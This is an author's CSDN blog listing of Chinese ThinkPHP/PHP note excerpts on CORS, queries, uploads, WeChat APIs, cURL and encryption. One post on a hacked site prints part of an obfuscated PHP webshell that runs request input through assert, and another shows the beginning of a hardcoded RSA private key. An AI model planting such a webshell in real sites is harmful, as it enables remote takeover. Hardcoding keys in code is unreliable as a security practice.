thinkphp5.0
qq_42289686
这个作者很懒,什么都没留下…
展开
-
thinkphp跨域很齐全的处理方式
<?phpdeclare (strict_types=1);namespace app\middleware;class admin{ /** * 处理请求 * * @param \think\Request $request * @param \Closure $next * @return Response */ public function handle($request, \Closure $next)原创 2020-07-24 21:46:40 · 287 阅读 · 0 评论 -
thinkphp 多表查询
我将不同的表名存在了一个数据表,这些表名对应的数据表的列都是一致的,现在的要求是,把这些表里面的数据按照筛选条件筛出来。$list = Db::table("v_software_list")->where('delete', 1)->field('field_js')->select();$select = '';foreach ($list as $key => $val) { if ($key == 0) { $sqlField = $val['f原创 2020-06-15 11:05:15 · 575 阅读 · 0 评论 -
tp 如果被上传.php木马文件怎么处理
有很多网站被黑,导致网站关键词 网站标题 被修改,更可恶的是你如果发现的晚,关键词都被收录进去了,搞得很麻烦。这是被上传的php文件之一,<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['g原创 2020-06-01 23:03:02 · 996 阅读 · 1 评论 -
笔记,获取当前url地址,包含当前协议
$_SERVER["REQUEST_SCHEME"].'://'.$_SERVER['HTTP_HOST']原创 2019-05-31 15:01:21 · 781 阅读 · 0 评论 -
笔记,tp获取用户浏览器信息
https://github.com/jenssegers/agentcomposer require jenssegers/agentuse Jenssegers\Agent\Agent;$agent = new Agent(); //设置User Agent,比如在cli模式下用到$agent->setUserAgent('Mozilla/5.0 (Macintosh; I...原创 2019-06-01 09:47:12 · 854 阅读 · 0 评论 -
网页版微信协议登陆,没什么用...
不清楚流程的看下这篇文章:https://www.cnblogs.com/sickle/p/10126246.html // GET请求 private function getApi($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt...原创 2019-06-06 16:02:22 · 1568 阅读 · 0 评论 -
PHP static静态局部变量和静态全局变量总结
使用静态局部变量的原因是它不能被外部使用,但是它的值依然在没此使用后保留。虽然使用全局变量可以实现相同的功能,但是它经常会造成意外。静态局部变量的特点:1.不会随着函数的调用和退出而发生变化,不过,尽管该变量还继续存在,但不能使用它。倘若再次调用定义它的函数时,它又可继续使用,而且保存了前次被调用后留下的值2.静态局部变量只会初始化一次3.静态属性只能被初始化为一个字符值或一个常量,不...转载 2019-06-09 08:29:55 · 532 阅读 · 0 评论 -
PHP static静态局部变量和静态全局变量
使用静态局部变量的原因是它不能被外部使用,但是它的值依然在没此使用后保留。虽然使用全局变量可以实现相同的功能,但是它经常会造成意外。静态局部变量的特点:1.不会随着函数的调用和退出而发生变化,不过,尽管该变量还继续存在,但不能使用它。倘若再次调用定义它的函数时,它又可继续使用,而且保存了前次被调用后留下的值2.静态局部变量只会初始化一次3.静态属性只能被初始化为一个字符值或一个常量,不...转载 2019-06-09 08:31:56 · 202 阅读 · 0 评论 -
thinkphp6终于发布预览版,戳我看完整文档
看云TP6文档原创 2019-06-03 14:08:57 · 7289 阅读 · 0 评论 -
input剪裁图片后,base64图片上传
效果示意:前端框架使用了bootstrap4.0剪裁插件:cropper.jsHTML <div class="input-group mb-3 form-group file-img"> <div class="custom-file"> <input type="text" style="display: none"...原创 2019-06-04 15:48:24 · 436 阅读 · 0 评论 -
服务器与客户端RSA加密解密通讯
class Events{ /** * 解密操作 * @param 密匙 */ static function rsakey(){ return '-----BEGIN PRIVATE KEY-----MIIJQQIBADANBgkqhkiG9w0BAQEFAASCCSswggknAgEAAoICAQCsoY531mLvCqmhEv...原创 2019-06-11 15:05:45 · 2835 阅读 · 0 评论 -
3DES加密解密
//3des加密 OPENSSL_RAW_DATA 为Pkcs7填充模式 static function des_encrypt($data,$key = ENCRYPT_KEY, $iv = ENCRYPT_IV) { $key = md5($key); //32位长度 $iv = substr(md5($iv),...原创 2019-06-11 15:10:40 · 1368 阅读 · 0 评论 -
CURL模拟GET/POST请求,亲测可用
static function getApi($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET"); curl_setopt($ch, CUR...原创 2019-06-11 16:05:03 · 122 阅读 · 0 评论 -
我的个人博客,已经开通有一段时间了
自己的博客基本上与csdn的同步,也是为自己的学习做一做笔记,博客是我空闲时间用thinkphp5.0写的,前端页面写的比较丑,是响应式的,PC与移动端自动适应…PN博客地址:https://blogs.4apn.cn/...原创 2019-07-19 17:22:14 · 620 阅读 · 0 评论 -
多图片上传与后台保存图片,返回图片地址
HTML<input type="file" name="company_img_file" class="custom-file-input" id="inputGroupFile04" placeholder="上传营业执照图片" multiple>JS绑定input change事件触发上传$("input[name='company_img_file']").chang...原创 2019-05-31 14:40:02 · 1653 阅读 · 0 评论 -
thinkphp建立一个公共的接口返回json格式的函数
private function msg($code,$yourdata,$msg){ switch ($msg) { case 1: $msgStr = 'success'; break; case 2: $msgStr = 'error';...原创 2019-05-31 10:39:38 · 2071 阅读 · 0 评论 -
thinkphp路由定义,vhost.ini修改
找到vhost.ini,加上“\public”&lt;VirtualHost _default_:80&gt;DocumentRoot "F:\list\3apan\public" &lt;Directory "F:\list\3apan\public"&gt; Options -Indexes +FollowSymLinks +ExecCGI原创 2018-12-28 11:47:06 · 397 阅读 · 0 评论 -
thinkphp笔记一,初始化视图
使用PHP Composer安装thinkphp框架Composer安装教程,教程地址:windows下安装Composer在项目根目录下按住Shift键+鼠标右键,打开命令行,输入下面的命令:thinkphp安装命令:composer create-project topthink/think=5.0.* tp5 --prefer-dist安装完成之后,将tp5文件夹里面的内容复制到项目...原创 2018-12-18 09:51:30 · 151 阅读 · 0 评论 -
富文本编辑器对接thinkphp多图片上传之踩坑笔记
富文本编辑器用的是 wangEditor3使用手册thinkphp多图片上传文档地址看云文档 点我进去开始!前端页面富文本开始配置容器<div id="addtop" style="background-color: white;" class="pn_box"> </div><!-- 上面是富文本工具栏 下面是富文本文本编辑框 -->&l原创 2019-01-25 14:25:47 · 763 阅读 · 0 评论 -
php小白踩坑之thinkphp模型怎么用?
thinkphp官方文档地址,点击跳转初始化,如同 namespace app\admin\model;中的路径位置,在下面图片路径下新建php文件;新建这一个文件,路径:application/admin/model/User.php取名好像不能跟 model文件同级的文件controller同名,不然在use app\admin\model\User;的时候,会报错提示:不能重新声明...原创 2019-01-16 15:17:34 · 379 阅读 · 0 评论 -
thinkphp做网页用户访问次数
新建一个visiter的表common.php里面加上/** * 获得访客操作系统 */function get_os() { if (!empty($_SERVER['HTTP_USER_AGENT'])) { $os = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/win/i', $os)) {...原创 2019-02-21 17:32:35 · 2610 阅读 · 0 评论 -
评论列表三级嵌套-thinkphp
一、先建立评论数据表我一共建了两个数据表!第一个表是第一级的,只显示第一级的评论留言,结构如下:userid只是记录评论者的IDcontent留言内容time留言时间userpic留言头像username留言昵称第二个表,显示第二级和第三级的评论留言,结构如下:userid同上;content同上;time同上;msgid 这个字段对应第一级表的id;parent这个字...原创 2019-02-26 09:48:49 · 888 阅读 · 1 评论 -
微信网页API请求地址大全
微信授权登陆请求地址:1.请求code地址:“https://open.weixin.qq.com/connect/oauth2/authorize?appid=KaTeX parse error: Expected 'EOF', got '&amp;' at position 6: appid&amp;̲redirect_uri=redirect_uri&amp;response_type=c...原创 2019-03-11 15:21:05 · 4504 阅读 · 0 评论 -
THINKPHP JSDK微信分享
查了很多资料。直接上控制器代码public function wechatJsapi(){ // 生成签名 // 1.获取 access_token $view = new View(); $access_token = getAccessToken(); if (Cookie::get('username','j...原创 2019-03-12 08:15:57 · 427 阅读 · 3 评论 -
thinkphp 短信cms使用百度云的简单云短信cms
thinkphp 短信cms使用百度云的简单云短信cms原创 2019-03-23 15:23:30 · 697 阅读 · 0 评论 -
分片上传含前端JS和后端处理(thinkphp)
前端处理需要上传的文件,slice对file进行切片上传,这里我使用了URL传参,所有就没在FORMDATA中增加参数了。这里我引入了Jquery插件。onsubbtn(){ let that = this ; var filecount='',setsize=80000,cutindex='',cutfile=''; var file = $...原创 2019-04-11 09:20:05 · 1095 阅读 · 0 评论 -
thinkphp 多条件筛选如何实现,添加大于小于条件,时间范围查询
近期在做一个社区APP管理后台里面的文章管理功能,涉及到了对文章进行一个条件筛选的功能,后台不是很懂,只能按照自己的思路来实现它:管理界面中做一个表单,内容有:标题、作者、文章状态、起止时间范围等input,js控制这个表单提交的内容,有输入的就提交,没输入的就不提交,标题和作者我做了输入提示,用了thinkphp的模糊搜索,可以做联想输入;文章状态就三种:未审核、通过审核和用户自主屏蔽;起止...原创 2019-04-25 16:39:44 · 8525 阅读 · 0 评论 -
PHP将数据按照首字母排序
效果如图:数据库格式:思路:数据表这里是根据用户ID来匹配每个用户的好友列表,朋友ID,每个ID后面跟一个‘逗号’(,),可以储存多个好友,thinkphp取出数据库数据,再把friends字段的值打散成数组,再根据用户ID来检索所需要的数据。$mqlfind = Db::name('friends_list')->where('userid',$user)->find(...原创 2019-05-23 09:23:07 · 4256 阅读 · 0 评论 -
thinkphp base64图片保存并返回路径
用ajax上传图片的base64编码至服务器,然后在控制器中调用$this->saveBase64Image($base64);返回的code如果等于0,则保存图片成功,路径为['url'];private function saveBase64Image($base64_image_content){ if (preg_match('/^(data:\s*image\...原创 2019-05-23 11:56:11 · 4639 阅读 · 0 评论 -
thinkphp笔记命令行,url
新建控制器php think make:controller app\index\controller\Goods创建数据模型php think make:model app\index\model\Goods清空runtime 临时文件php think clear转载 2018-12-28 09:19:36 · 227 阅读 · 0 评论